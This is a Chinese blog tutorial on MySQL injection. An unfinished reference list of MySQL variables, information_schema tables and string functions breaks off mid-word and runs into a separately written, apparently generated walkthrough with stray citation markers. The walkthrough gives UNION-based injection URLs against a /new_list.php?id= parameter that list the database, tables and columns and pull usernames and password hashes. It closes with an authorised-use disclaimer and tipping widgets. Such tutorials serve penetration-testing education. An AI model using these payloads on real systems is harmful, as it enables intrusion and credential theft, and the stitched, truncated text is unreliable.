【漏洞挖掘】——95、MySQL注入基础

文章前言

在正式进入MySQL注入的专题之前我们需要对MySQL注入中一些基础知识以及常用的一些函数、技巧等进行简单的介绍与整理归纳,以便于我们后期进行知识检索

常用变量

在MySQL注入过程中我们经常会涉及到一些注入点是否存在的判断以及对数据库路径、主机名等的数据进行查询,此时我们可以借助MySQL自身的变量来检索:

@@datadir:数据库数据目录

@@hostname:数据库主机名

@@version_compile_os:操作系统版本

库表结构

MySQL数据库的库表结构主要涉及如下几个关键词,也是我们平时注入时经常会用到的:

  • SCHEMA_NAME:数据库名
  • information_schema:系统数据库,包含了所有的数据库名(自MySQL 5.0版本中引入,成为MySQL系统数据库的一部分)
  • information_schema.SCHEMATA:数据库库数据
  • TABLE_NAME:表名
  • information_schema.TABLES:数据库表数据
  • COLUMN_NAME:列名
  • information_schema.COLUMNS:数据库列数据
常用函数
字符串截取函数
left(str,index)  			//从左边第index开始截取
right(str,index) 			//从右边第index开始截取
sub
### MySQL数据库中的SQL手工注入漏洞测试方法 #### 测试前准备 为了安全有效地进行SQL注入测试,建议在一个受控环境中操作。通常会搭建一个包含Nginx、PHP以及MySQL的靶场环境,在此环境下可以自由尝试各种攻击向量而不会影响生产数据。 #### 获取当前使用的数据库名称 通过构造特定查询语句来获取正在使用的数据库名是一个常见的起点。例如,可以通过访问`/new_list.php?id=-1 union select 1,database(),3,4`这样的URL路径实现这一点[^3]。这将返回当前连接到的应用程序所使用的具体数据库的名字。 #### 列出所有可用表格 一旦知道了具体的数据库名字之后,下一步就是找出该数据库中存在的所有表单。利用如下所示的HTTP请求字符串即可完成这一目的:`/new_list.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3 -- -` 。这里假设已知的安全数据库名为'security'[^2]。请注意实际应用时应替换为之前获得的确切数据库名称。 #### 探索选定表内的列详情 当掌握了感兴趣的表的信息后,则可进一步探索这些表内部的具体结构——即它们各自拥有的字段列表。对于每一个想要了解其组成的表而言,都可以执行类似于下面这条命令的操作(以users为例): ```sql /new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' ``` #### 提取敏感信息 最后一步是从确认过的表里读取出有用的数据项。比如要查看用户账号及其密码哈希值的话,就可以发送像这样格式化的GET请求给服务器端口: ```sql /new_list.php?id=-1 UNION SELECT 1,username,password,DATABASE() FROM users-- ``` 以上过程展示了如何逐步深入挖掘潜在存在的SQL注入缺陷并从中提取有价值的情报。然而值得注意的是,上述技术仅适用于教育用途下的合法渗透测试活动;未经授权擅自入侵他人信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值